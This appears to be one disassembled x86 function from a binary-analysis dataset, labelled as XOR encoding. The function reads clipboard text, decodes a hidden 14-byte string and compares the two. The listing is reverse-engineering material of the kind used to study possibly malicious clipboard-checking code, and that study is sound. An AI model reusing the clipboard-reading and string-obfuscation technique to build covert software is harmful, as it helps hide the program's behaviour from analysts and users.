Function at 0x42f2aa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, esp
call fcn.00409840
push eax
mov edi, esp
push eax
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x24], esp
push eax
mov dword [esi + 8], esp
jmp 0x42f174
push eax
mov eax, esp
mov dword [esi + 0x30], eax
call fcn.00409840
push eax
mov eax, esp
jmp 0x42f184
jmp 0x42f186
jmp 0x42f188
sub esp, 0x18
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
mov dword [esi + 0x14], esp
mov dword [esi + 0x28], eax
mov eax, dword [ebp + 8]
mov dword [edi], eax
mov eax, dword [esi + 0xc]
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
jmp 0x42f1b8
cmp eax, 0
setne al
test al, 1
jne 0x42f1c7
jmp 0x42f333
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, dword [esi + 0x24]
mov dword [ecx], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ecx, dword [esi + 8]
mov dword [ecx], eax
cmp dword [ecx], 0
setne al
test al, 1
jne 0x42f20a
jmp 0x42f32b
mov dword [esi + 0x2c], edi
mov eax, dword [esi + 8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, dword [esi + 0x30]
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.0040a9d0
add esp, 4
mov ecx, dword [esi + 0x28]
mov dword [ecx], eax
cmp dword [ecx], 0
je 0x42f316
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
mov edx, dword [ecx]
mov edi, dword [edi]
mov eax, dword [esi + 0x14]
mov al, byte [eax]
mov byte [esi + 0x10], al
mov byte [ebx], 0xf3
mov byte [ebx + 1], 0xd5
mov byte [ebx + 2], 0xd3
mov byte [ebx + 3], 0xcb
mov byte [ebx + 4], 0xd8
mov byte [ebx + 5], 0xcc
mov byte [ebx + 6], 0xdf
mov byte [ebx + 7], 0xcd
mov byte [ebx + 8], 0xda
mov byte [ebx + 9], 0xef
mov byte [ebx + 0xa], 0xb4
mov byte [ebx + 0xb], 0xbb
mov byte [ebx + 0xc], 0xb6
mov byte [ebx + 0xd], 0xc5
mov dword [ebx + 0xe], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x12
jae 0x42f2f9
mov dword [esi + 0x18], edi
mov dword [esi + 0x20], edx
jmp 0x42f2aa
mov eax, dword [esi + 4]
mov edi, dword [esi + 4]
movzx edx, byte [ebx + edi]
add eax, 0x8b2c39b7
mov ecx, eax
and ecx, edx
mov edi, ecx
add edi, edi
xor eax, edx
lea eax, [eax + ecx*2]
mov ecx, eax
not ecx
mov edx, edi
and edx, ecx
not edi
and eax, edi
sub eax, edx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
dec al
mov ecx, dword [esi + 4]
mov byte [ebx + ecx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
cmp eax, 0x12
jb 0x42f2aa
mov edx, dword [esi + 0x20]
mov edi, dword [esi + 0x18]
jmp 0x42f2f9
sub esp, 0xc
mov ecx, dword [esi + 0x1c]
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], edx
call fcn.00409a50
and al, 1
mov ecx, dword [esi + 0xc]
mov byte [ecx], al
mov eax, dword [esi + 8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42f329
jmp 0x42f32b
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42f333
mov eax, dword [esi + 0xc]
mov al, byte [eax]
jmp 0x42f33a
jmp 0x42f33c
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret